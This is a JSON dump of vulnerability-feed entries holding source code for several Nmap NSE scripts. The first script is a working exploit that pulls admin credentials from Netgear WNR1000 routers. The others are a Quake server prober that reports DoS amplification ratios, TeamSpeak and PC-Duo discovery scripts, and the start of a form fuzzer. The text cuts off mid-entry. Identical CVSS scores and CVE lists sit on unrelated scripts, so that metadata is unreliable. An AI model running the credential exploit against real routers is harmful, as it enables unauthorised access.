"scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2017-03-24T16:20:02", "id": "NMAP:HTTP-VULN-WNR1000-CREDS.NSE", "href": "https://nmap.org/nsedoc/scripts/http-vuln-wnr1000-creds.html", "sourceData": "local http = require \"http\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\nlocal string = require \"string\"\nlocal vulns = require \"vulns\"\nlocal creds = require \"creds\"\n\ndescription = [[\nA vulnerability has been discovered in WNR 1000 series that allows an attacker\nto retrieve administrator credentials with the router interface.\nTested On Firmware Version(s): V1.0.2.60_60.0.86 (Latest) and V1.0.2.54_60.0.82NA\n\nVulnerability discovered by c1ph04.\n]]\n\n---\n-- @usage\n-- nmap -sV --script http-vuln-wnr1000-creds <target> -p80\n-- @args http-vuln-wnr1000-creds.uri URI path where the passwordrecovered.cgi script can be found. Default: /\n-- @output\n-- PORT STATE SERVICE REASON\n-- 80/tcp open http syn-ack\n-- | http-vuln-wnr1000-creds:\n-- | VULNERABLE:\n-- | Netgear WNR1000v3 Credential Harvesting Exploit\n-- | State: VULNERABLE (Exploitable)\n-- | IDs: None, 0-day\n-- | Description:\n-- | A vulnerability has been discovered in WNR 1000 series that allows an attacker\n-- | to retrieve administrator credentials with the router interface.\n-- | Tested On Firmware Version(s): V1.0.2.60_60.0.86 (Latest) and V1.0.2.54_60.0.82NA\n-- | Disclosure date: 26-01-2014\n-- | References:\n-- |_ http://packetstormsecurity.com/files/download/124759/netgearpasswd-disclose.zip\n--\n---\n\nauthor = {\"Paul AMAR <aos.paul@gmail.com>\", \"Rob Nicholls\"}\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"exploit\",\"vuln\",\"intrusive\"}\n\nportrule = shortport.http\n\n-- function to escape specific characters\nlocal escape = function(str) return string.gsub(str, \"\", \"\") end\n\naction = function(host, port)\n local uri = stdnse.get_script_args(SCRIPT_NAME..\".uri\") or \"/\"\n\n local vuln = {\n title = 'Netgear WNR1000v3 Credential Harvesting Exploit',\n state = vulns.STATE.NOT_VULN, -- default\n description = [[\n A vulnerability has been discovered in WNR 1000 series that allows an attacker\n to retrieve administrator credentials with the router interface.\n Tested On Firmware Version(s): V1.0.2.60_60.0.86 (Latest) and V1.0.2.54_60.0.82NA.\n Vulnerability discovered by c1ph04.\n ]],\n references = {\n 'http://c1ph04text.blogspot.dk/2014/01/mitrm-attacks-your-middle-or-mine.html',\n },\n dates = {\n disclosure = {year = '2014', month = '01', day = '26'},\n },\n }\n\n local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)\n\n local detection_session = http.get(host, port, uri)\n\n if detection_session.status then\n if not detection_session.body then\n stdnse.debug1(\"No response body\")\n return vuln_report:make_output(vuln)\n end\n -- gather the id\n local id_netgear = string.match(escape(detection_session.body), ('(id=%d+)'))\n\n if id_netgear == nil then\n stdnse.debug1(\"Unable to obtain the id\")\n return vuln_report:make_output(vuln)\n else\n -- send the payload to get username and password\n local payload_session = http.post(host, port, uri .. \"passwordrecovered.cgi?\" .. id_netgear, { no_cache = true }, nil, \"\")\n if payload_session then\n local netgear_username = string.match(escape(payload_session.body), 'Router Admin Username</td>.+align=\"left\">(.+)</td>.+Router Admin')\n local netgear_password = string.match(escape(payload_session.body), 'Router Admin Password</td>.+align=\"left\">(.+)</td>.+MNUText')\n if (netgear_username ~= nil and netgear_password ~= nil) then\n vuln.exploit_results = {\n (\"username: %s\"):format(netgear_username),\n (\"password: %s\"):format(netgear_password),\n }\n local c = creds.Credentials:new(SCRIPT_NAME, host, port)\n c:add(netgear_username, netgear_password, creds.State.VALID)\n vuln.state = vulns.STATE.VULN\n else\n stdnse.debug1(\"We haven't been able to get username/password\")\n end\n end\n end\n end\n return vuln_report:make_output(vuln)\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T09:37:34", "description": "Extracts information from Quake game servers and other game servers which use the same protocol. \n\nQuake uses UDP packets, which because of source spoofing can be used to amplify a denial-of-service attack. For each request, the script reports the payload amplification as a ratio. The format used is `response_bytes/request_bytes=ratio`\n\n<http://www.gamers.org/dEngine/quake/QDP/qnp.html>\n\n## Example Usage \n \n \n nmap -n -sU -Pn --script quake1-info -pU:26000-26004 -- <target>\n \n\n## Script Output \n \n \n PORT STATE SERVICE\n 26000/udp open quake\n | quake1-info:\n | server info exchange payload amplification: 59/12=4.916667\n | listen address: 10.200.200.10:26000\n | server name: An anonymous Debian server\n | level name: dm1\n | players: 1/8\n | player table\n | player 1: fragmeister\n | player info exchange payload amplification: 49/6=8.166667\n | client address: 192.168.0.10:40430\n | connect time: 55587 secs\n | frags: -1\n | shirt: green3\n | pants: orange6\n |_ protocol version: released (0x3)\n \n\n## Requires \n\n * [comm](<../lib/comm.html>)\n * [nmap](<../lib/nmap.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [string](<>)\n * [table](<>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2014-03-07T17:28:40", "type": "nmap", "title": "quake1-info NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2018-09-05T21:57:41", "id": "NMAP:QUAKE1-INFO.NSE", "href": "https://nmap.org/nsedoc/scripts/quake1-info.html", "sourceData": "local comm = require \"comm\"\nlocal nmap = require \"nmap\"\nlocal stdnse = require \"stdnse\"\nlocal string = require \"string\"\nlocal table = require \"table\"\n\ndescription = [[\nExtracts information from Quake game servers and other game servers\nwhich use the same protocol.\n\nQuake uses UDP packets, which because of source spoofing can be used to amplify\na denial-of-service attack. For each request, the script reports the payload\namplification as a ratio. The format used is\n<code>response_bytes/request_bytes=ratio</code>\n\nhttp://www.gamers.org/dEngine/quake/QDP/qnp.html\n]]\n\n---\n-- @usage\n-- nmap -n -sU -Pn --script quake1-info -pU:26000-26004 -- <target>\n--\n-- @output\n-- PORT STATE SERVICE\n-- 26000/udp open quake\n-- | quake1-info:\n-- | server info exchange payload amplification: 59/12=4.916667\n-- | listen address: 10.200.200.10:26000\n-- | server name: An anonymous Debian server\n-- | level name: dm1\n-- | players: 1/8\n-- | player table\n-- | player 1: fragmeister\n-- | player info exchange payload amplification: 49/6=8.166667\n-- | client address: 192.168.0.10:40430\n-- | connect time: 55587 secs\n-- | frags: -1\n-- | shirt: green3\n-- | pants: orange6\n-- |_ protocol version: released (0x3)\n--\n-- @xmloutput\n-- <elem key=\"server_ratio\">59/12=4.916667</elem>\n-- <elem key=\"listen_address\">10.200.200.10:26000</elem>\n-- <elem key=\"server_name\">An anonymous Debian server</elem>\n-- <elem key=\"level_name\">dm1</elem>\n-- <elem key=\"players\">1/8</elem>\n-- <table key=\"player_table\">\n-- <table key=\"player 1\">\n-- <elem key=\"player_ratio\">49/6=8.166667</elem>\n-- <elem key=\"name\">fragmeister</elem>\n-- <elem key=\"client_address\">192.168.0.10:40430</elem>\n-- <elem key=\"connect_time\">55587 secs</elem>\n-- <elem key=\"frags\">-1</elem>\n-- <elem key=\"shirt\">green3</elem>\n-- <elem key=\"pants\">orange6</elem>\n-- </table>\n-- </table>\n-- <elem key=\"protocol_version\">released (0x3)</elem>\n\n\ncategories = {\"default\", \"discovery\", \"safe\", \"version\"}\nauthor = \"Ulrik Haugen\"\ncopyright = \"Link\u00f6pings universitet 2014, Ulrik Haugen 2014\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\n\n\n--- Proceed with action on open/open|filtered udp ports in interval\n-- [26000, 26004] and whatever Quake is listed under in nmap-services.\nfunction portrule(host, port)\n return (port.state == 'open' or port.state == 'open|filtered')\n and port.protocol == 'udp'\n and ((26000 <= port.number and port.number <= 26004)\n or port.service == 'quake')\n and nmap.version_intensity() >= 7\nend\n\n\n--- Like assert but put /message/ in the ERROR key in /results_table/ to\n-- better suit collate_results and pass 0 as level to error to ensure\n-- the error message will not be prefixed with file and line number.\n-- /results_table/ may be left out.\nlocal function assert_w_table(condition, message, results_table)\n if condition then\n return condition\n else\n results_table = results_table or {}\n results_table.ERROR = message\n error(results_table, 0)\n end\nend\n\n\n-- Protocol constants and tables.\nlocal ctrl_pkt_type = 0x8000\nlocal ccreq_server_info = 0x02\nlocal ccrep_server_info = 0x83\nlocal ccreq_player_info = 0x03\nlocal ccrep_player_info = 0x84\nlocal game_name = \"QUAKE\"\nlocal net_protocol_versions = {\n [ 0x01 ] = \"qtest1\",\n [ 0x02 ] = \"unknown\",\n [ 0x03 ] = \"released\"\n}\nlocal net_protocol_released = 0x03\nlocal color_codes = {\n [ 0x0 ] = \"gray0\",\n [ 0x1 ] = \"brown1\",\n [ 0x2 ] = \"lavender2\",\n [ 0x3 ] = \"green3\",\n [ 0x4 ] = \"red4\",\n [ 0x5 ] = \"light green5\",\n [ 0x6 ] = \"orange6\",\n [ 0x7 ] = \"light brown7\",\n [ 0x8 ] = \"violet8\",\n [ 0x9 ] = \"pink9\",\n [ 0xa ] = \"beige10\",\n [ 0xb ] = \"green11\",\n [ 0xc ] = \"yellow12\",\n [ 0xd ] = \"blue13\"\n}\n\n\n--- Request player info from /host/:/port/ for player /id/, return\n-- player info as a table on success and raise an error on failure.\nlocal function get_player_info(host, port, id)\n local player_info = stdnse.output_table()\n local req_pl = string.pack('>I2 I2 BB',\n ctrl_pkt_type, -- packet type\n 2+2+1+1, -- packet length\n ccreq_player_info, -- operation code\n id - 1) -- player number (0 indexed)\n -- iptables -m u32 --u32 '0x1c=0x80000006&&0x1d&0xff=0x03'\n\n local status, rep_pl = comm.exchange(host, port, req_pl)\n assert_w_table(status, \"No response to request for player info\")\n assert_w_table(#rep_pl >= 4, \"Response too small for packet header\")\n\n player_info.player_ratio = string.format(\"%d/%d=%f\",\n rep_pl:len(), req_pl:len(),\n rep_pl:len()/req_pl:len() )\n\n local rep_pkt_type, rep_pl_len, pos = string.unpack('>I2 I2', rep_pl)\n assert_w_table(rep_pl_len == rep_pl:len(),\n string.format(\"Incorrect reply packet length: %d\"\n .. \" received, %d bytes in packet\",\n rep_pl_len, rep_pl:len()),\n player_info)\n local term_pos = rep_pl_len + 1\n assert_w_table(rep_pkt_type == ctrl_pkt_type,\n \"Bad reply packet type\", player_info)\n\n -- frags and connect_time are sent little endian:\n local rep_opc, player_id, name, colors, frags, connect_time, client_address, pos = string.unpack('>BBzBxxx<i4I4>z', rep_pl, pos)\n assert_w_table(pos == term_pos, \"Error parsing reply (packet type/ length)\",\n player_info)\n assert_w_table(rep_opc == ccrep_player_info,\n string.format(\"Incorrect operation code 0x%x in reply,\"\n .. \" should be 0x%x\",\n rep_opc, ccrep_player_info),\n player_info)\n\n player_info.name = name\n player_info.client_address = client_address\n player_info.connect_time = string.format(\"%d secs\", connect_time)\n player_info.frags = frags\n player_info.shirt = color_codes[colors >> 4] or \"INVALID\"\n player_info.pants = color_codes[colors & 0x0f] or \"INVALID\"\n return player_info\nend\n\n\n--- Request player info from /host/:/port/ for players [1,\n-- /cur_players/], return player infos or errors in a table.\nlocal function get_player_table(host, port, cur_players)\n local player_table = stdnse.output_table()\n for id = 1, cur_players do\n -- At this point we have established that the target is a Quake\n -- game server so lost ccreq or ccrep player info packets are\n -- merely noted in the output, they don't abort the script.\n local status, player_info = pcall(get_player_info, host, port, id)\n player_table[string.format(\"player %d\", id)] = player_info\n end\n return player_table\nend\n\n\n--- Request server info and possibly player infos from /host/:/port/,\n-- return server info and any player infos as a table on success and\n-- raise an error on failure.\nlocal function get_server_info(host, port)\n local server_info = stdnse.output_table()\n local req_pl = string.pack('>I2I2BzB',\n ctrl_pkt_type, -- packet type\n 2+2+1+game_name:len()+1+1, -- packet length\n ccreq_server_info, -- operation code\n game_name,\n net_protocol_released) -- net protocol version\n -- iptables -m u32 --u32 '0x1c=0x8000000c&&0x20=0x02515541&&0x24=0x4b450003'\n\n local status, rep_pl = comm.exchange(host, port, req_pl)\n assert_w_table(status, \"No response to request for server info\")\n assert_w_table(#rep_pl >= 4, \"Response too small for packet header\")\n\n nmap.set_port_state(host, port, 'open')\n server_info.server_ratio = string.format(\"%d/%d=%f\",\n rep_pl:len(), req_pl:len(),\n rep_pl:len()/req_pl:len())\n\n local rep_pkt_type, rep_pl_len, pos = string.unpack('>I2 I2', rep_pl)\n assert_w_table(rep_pkt_type == ctrl_pkt_type,\n string.format(\"Bad reply packet type 0x%x, expected 0x%x\",\n rep_pkt_type, ctrl_pkt_type), server_info)\n assert_w_table(rep_pl_len == rep_pl:len(),\n string.format(\"Bad reply packet length: %d received,\"\n .. \" %d bytes in packet\",\n rep_pl_len, rep_pl:len()), server_info)\n local term_pos = rep_pl_len + 1\n\n local rep_opc, pos = string.unpack('>B', rep_pl, pos)\n assert_w_table(rep_opc == ccrep_server_info,\n string.format(\"Bad operation code 0x%x in reply,\"\n .. \" expected 0x%x\",\n rep_opc, ccrep_server_info), server_info)\n local server_address, server_host_name, level_name, cur_players, max_players, net_protocol_version, pos = string.unpack('>zzzBBB', rep_pl, pos)\n assert_w_table(pos == term_pos, \"Error parsing reply (packet type/length)\",\n server_info)\n\n port.version.name = \"quake\"\n port.version.product = \"Quake 1 server\"\n port.version.version = net_protocol_versions[net_protocol_version]\n nmap.set_port_version(host, port)\n\n local player_table = get_player_table(host, port, cur_players)\n\n server_info.listen_address = server_address\n server_info.server_name = server_host_name\n server_info.level_name = level_name\n server_info.players = string.format(\"%d/%d\", cur_players, max_players)\n server_info.player_table = player_table\n server_info.protocol_version = string.format(\n \"%s (0x%x)\",\n net_protocol_versions[net_protocol_version], net_protocol_version)\n return server_info\nend\n\n\n--- Return a function from structured to unstructured output indenting\n-- nested tables /offset/ or two spaces with special treatment of name\n-- keys and optionally using /xlate_key/ to format keys.\nlocal function make_formatter(offset, xlate_key)\n offset = offset or 2\n xlate_key = xlate_key or function(key) return key:gsub(\"_\", \" \") end\n\n --- Format /results_table/ as a string starting /indent/ or zero\n -- steps from the margin for the name key and adding offset steps\n -- for other table contents and again for the contents of nested\n -- tables.\n local function formatter(results_table, indent)\n indent = indent or 0\n local output = {}\n\n if results_table.name then\n table.insert(output,\n string.format(\"%s%s\", ({ [ false ] = \": \",\n [ true ] = \"\\n\" })[indent == 0],\n results_table.name))\n end\n\n for key, value in pairs(results_table) do\n -- name is printed already\n if key ~= 'name' then\n if type(value) == 'table' then\n table.insert(output,\n string.format(\"\\n%s%s\",\n string.rep(\" \", indent + offset),\n xlate_key(key)))\n table.insert(output, formatter(value, indent + offset))\n else\n table.insert(output,\n string.format(\"\\n%s%s: %s\",\n string.rep(\" \", indent + offset),\n xlate_key(key), value))\n end\n end\n end\n return table.concat(output, '')\n end\n\n return formatter\nend\n\n\n--- Use /formatter/ to produce unstructured output from\n-- /results_table/ considering /status/. Return structured and\n-- unstructured output.\nlocal function collate_results(formatter, status, results_table)\n if not status and nmap.debugging() < 1 then\n return nil\n end\n return results_table, formatter(results_table)\nend\n\n\n--- Nmap entry point.\nfunction action(host, port)\n local xlate_table = {\n player_ratio = \"player info exchange payload amplification\",\n server_ratio = \"server info exchange payload amplification\",\n }\n\n local function xlate_key(key)\n return xlate_table[key] or key:gsub(\"_\", \" \")\n end\n\n return collate_results(make_formatter(nil, xlate_key),\n pcall(get_server_info, host, port))\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T09:33:41", "description": "Detects the TeamSpeak 2 voice communication server and attempts to determine version and configuration information. \n\nA single UDP packet (a login request) is sent. If the server does not have a password set, the exact version, name, and OS type will also be reported on.\n\n## Example Usage \n \n \n nmap -sU -sV -p 8767 <target>\n\n## Script Output \n \n \n PORT STATE SERVICE REASON VERSION\n 8767/udp open teamspeak2 script-set TeamSpeak 2.0.23.19 (name: COWCLANS; no password)\n Service Info: OS: Win32\n\n## Requires \n\n * [comm](<../lib/comm.html>)\n * [shortport](<../lib/shortport.html>)\n * [nmap](<../lib/nmap.html>)\n * [string](<>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2013-07-01T09:07:13", "type": "nmap", "title": "teamspeak2-version NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2018-08-29T03:06:40", "id": "NMAP:TEAMSPEAK2-VERSION.NSE", "href": "https://nmap.org/nsedoc/scripts/teamspeak2-version.html", "sourceData": "local comm = require \"comm\"\nlocal shortport = require \"shortport\"\nlocal nmap = require \"nmap\"\nlocal string = require \"string\"\n\ndescription = [[\nDetects the TeamSpeak 2 voice communication server and attempts to determine\nversion and configuration information.\n\nA single UDP packet (a login request) is sent. If the server does not have a\npassword set, the exact version, name, and OS type will also be reported on.\n]]\n\n---\n-- @usage\n-- nmap -sU -sV -p 8767 <target>\n-- @output\n-- PORT STATE SERVICE REASON VERSION\n-- 8767/udp open teamspeak2 script-set TeamSpeak 2.0.23.19 (name: COWCLANS; no password)\n-- Service Info: OS: Win32\n\nauthor = \"Marin Mar\u017ei\u0107\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = { \"version\" }\n\nlocal payload = \"\\xf4\\xbe\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\z\n\\x00\\x002x\\xba\\x85\\tTeamSpeak\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\z\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\nWindows XP\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\z\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00 \\x00<\\x00\\z\n\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\z\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\z\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\z\n\\x00\\x00\\x00\\x00\\x00\\x08nickname\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\z\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\nportrule = shortport.version_port_or_service({8767}, \"teamspeak2\", \"udp\")\n\naction = function(host, port)\n local status, result = comm.exchange(\n host, port.number, payload, { proto = \"udp\", timeout = 3000 })\n if not status then\n return\n end\n nmap.set_port_state(host, port, \"open\")\n\n local name, platform, version = string.match(result,\n \"^\\xf4\\xbe\\x04\\0\\0\\0\\0\\0.............([^\\0]*)%G+([^\\0]*)\\0*(........)\")\n if not name then\n return\n end\n\n port.version.name = \"teamspeak2\"\n port.version.name_confidence = 10\n port.version.product = \"TeamSpeak\"\n if name == \"\" then\n port.version.version = \"2\"\n else\n local v_a, v_b, v_c, v_d = string.unpack(\"<I2 I2 I2 I2\", version)\n port.version.version = v_a .. \".\" .. v_b .. \".\" .. v_c .. \".\" .. v_d\n port.version.extrainfo = \"name: \" .. name .. \"; no password\"\n if platform == \"Win32\" then\n port.version.ostype = \"Windows\"\n elseif platform == \"Linux\" then\n port.version.ostype = \"Linux\"\n end\n end\n\n nmap.set_port_version(host, port, \"hardmatched\")\n\n return\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:46:56", "description": "Discovers PC-DUO remote control hosts and gateways running on a LAN by sending a special broadcast UDP probe.\n\n## Script Arguments \n\n#### broadcast-pc-duo.timeout \n\nspecifies the amount of seconds to sniff the network interface. (default varies according to timing. -T3 = 5s)\n\n## Example Usage \n \n \n nmap --script broadcast-pc-duo\n \n\n## Script Output \n \n \n Pre-scan script results:\n | broadcast-pc-duo:\n | PC-Duo Gateway Server\n | 10.0.200.113 - WIN2K3SRV-1\n | PC-Duo Hosts\n |_ 10.0.200.113 - WIN2K3SRV-1\n \n\n## Requires \n\n * [coroutine](<>)\n * [nmap](<../lib/nmap.html>)\n * [os](<>)\n * [stdnse](<../lib/stdnse.html>)\n * [table](<>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2011-12-18T09:33:38", "type": "nmap", "title": "broadcast-pc-duo NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2017-03-25T13:39:44", "id": "NMAP:BROADCAST-PC-DUO.NSE", "href": "https://nmap.org/nsedoc/scripts/broadcast-pc-duo.html", "sourceData": "local coroutine = require \"coroutine\"\nlocal nmap = require \"nmap\"\nlocal os = require \"os\"\nlocal stdnse = require \"stdnse\"\nlocal table = require \"table\"\n\ndescription = [[\nDiscovers PC-DUO remote control hosts and gateways running on a LAN by sending a special broadcast UDP probe.\n]]\n\n---\n-- @usage\n-- nmap --script broadcast-pc-duo\n--\n-- @output\n-- Pre-scan script results:\n-- | broadcast-pc-duo:\n-- | PC-Duo Gateway Server\n-- | 10.0.200.113 - WIN2K3SRV-1\n-- | PC-Duo Hosts\n-- |_ 10.0.200.113 - WIN2K3SRV-1\n--\n-- @args broadcast-pc-duo.timeout specifies the amount of seconds to sniff\n-- the network interface. (default varies according to timing. -T3 = 5s)\n\nauthor = \"Patrik Karlsson\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = { \"broadcast\", \"safe\" }\n\nlocal TIMEOUT = stdnse.parse_timespec(stdnse.get_script_args(\"broadcast-pc-duo.timeout\"))\n\nprerule = function() return ( nmap.address_family() == \"inet\") end\n\n-- Sends a UDP probe to the server and processes the response\n-- @param probe table containing a pc-duo probe\n-- @param responses table containing the responses\nlocal function udpProbe(probe, responses)\n\n local condvar = nmap.condvar(responses)\n local socket = nmap.new_socket(\"udp\")\n socket:set_timeout(500)\n\n for i=1,2 do\n local status = socket:sendto(probe.host, probe.port, probe.data)\n if ( not(status) ) then\n return stdnse.format_output(false, \"Failed to send broadcast request\")\n end\n end\n\n local timeout = TIMEOUT or ( 20 / ( nmap.timing_level() + 1 ) )\n local stime = os.time()\n local hosts = {}\n\n repeat\n local status, data = socket:receive()\n if ( status ) then\n local srvname = data:match(probe.match)\n if ( srvname ) then\n local status, _, _, rhost, _ = socket:get_info()\n if ( not(status) ) then\n socket:close()\n return false, \"Failed to get socket information\"\n end\n -- avoid duplicates\n hosts[rhost] = srvname\n end\n end\n until( os.time() - stime > timeout )\n socket:close()\n\n local result = {}\n for ip, name in pairs(hosts) do\n table.insert(result, (\"%s - %s\"):format(ip,name))\n end\n\n if ( #result > 0 ) then\n result.name = probe.topic\n table.insert(responses, result)\n end\n\n condvar \"signal\"\nend\n\naction = function()\n\n -- PC-Duo UDP probes\n local probes = {\n -- PC-Duo Host probe\n {\n host = { ip = \"255.255.255.255\" },\n port = { number = 1505, protocol = \"udp\" },\n data = stdnse.fromhex(\"00808008ff00\"),\n match= \"^.........(%w*)\\0\",\n topic= \"PC-Duo Hosts\"\n },\n -- PC-Duo Gateway Server probe\n {\n host = { ip = \"255.255.255.255\" },\n port = { number = 2303, protocol = \"udp\" },\n data = stdnse.fromhex(\"20908008ff00\"),\n match= \"^.........(%w*)\\0\",\n topic= \"PC-Duo Gateway Server\"\n },\n }\n\n local threads, responses = {}, {}\n local condvar = nmap.condvar(responses)\n\n -- start a thread for each probe\n for _, p in ipairs(probes) do\n local th = stdnse.new_thread( udpProbe, p, responses )\n threads[th] = true\n end\n\n -- wait until the probes are all done\n repeat\n for thread in pairs(threads) do\n if coroutine.status(thread) == \"dead\" then\n threads[thread] = nil\n end\n end\n if ( next(threads) ) then\n condvar \"wait\"\n end\n until next(threads) == nil\n\n table.sort(responses, function(a,b) return a.name < b.name end)\n -- did we get any responses\n if ( #responses > 0 ) then\n return stdnse.format_output(true, responses)\n end\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:43:50", "description": "Performs a simple form fuzzing against forms found on websites. Tries strings and numbers of increasing length and attempts to determine if the fuzzing was successful.\n\n## Script Arguments \n\n#### http-form-fuzzer.minlength \n\nthe minimum length of a string that will be used for fuzzing, defaults to 300000\n\n#### http-form-fuzzer.maxlength \n\nthe maximum length of a string that will be used for fuzzing, defaults to 310000\n\n#### http-form-fuzzer.targets \n\na table with the targets of fuzzing, for example {{path = /index.html, minlength = 40002}, {path = /foo.html, maxlength = 10000}}. The path parameter is required, if minlength or maxlength is not specified, then the values of http-form-fuzzer.minlength or http-form-fuzzer.maxlength will be used. Defaults to {{path=\"/\"}}\n\n#### slaxml.debug \n\nSee the documentation for the [slaxml](<../lib/slaxml.html#script-args>) library. \n\n#### httpspider.doscraping, httpspider.maxdepth, httpspider.maxpagecount, httpspider.noblacklist, httpspider.url, httpspider.useheadfornonwebfiles, httpspider.withindomain, httpspider.withinhost \n\nSee the documentation for the [httpspider](<../lib/httpspider.html#script-args>) library. \n\n#### http.host, http.max-body-size, http.max-cache-size, http.max-pipeline, http.pipeline, http.truncated-ok, http.useragent \n\nSee the documentation for the [http](<../lib/http.html#script-args>) library. \n\n#### smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername \n\nSee the documentation for the [smbauth](<../lib/smbauth.html#script-args>) library. \n\n## Example Usage \n \n \n nmap --script http-form-fuzzer --script-args 'http-form-fuzzer.targets={1={path=/},2={path=/register.html}}' -p 80 <host>\n \n This script attempts to fuzz fields in forms it detects (it fuzzes one field at a time).\n In each iteration it first tries to fuzz a field with a string, then with a number.\n In the output, actions and paths for which errors were observed are listed, along with\n names of fields that were being fuzzed during error occurrence. Length and type\n (string/integer) of the input that caused the error are also provided.\n We consider an error to be either: a response with status 500 or with an empty body,\n a response that contains \"server error\" or \"sql error\" strings. ATM anything other than\n that is considered not to be an 'error'.\n TODO: develop more sophisticated techniques that will let us determine if the fuzzing was\n successful (i.e. we got an 'error'). Ideally, an algorithm that will tell us a percentage\n difference between responses should be implemented.\n \n\n## Script Output \n \n \n PORT STATE SERVICE REASON\n 80/tcp open http syn-ack\n | http-form-fuzzer:\n | Path: /register.html Action: /validate.php\n | age\n | integer lengths that caused errors:\n | 10000, 10001\n | name\n | string lengths that caused errors:\n | 40000\n | Path: 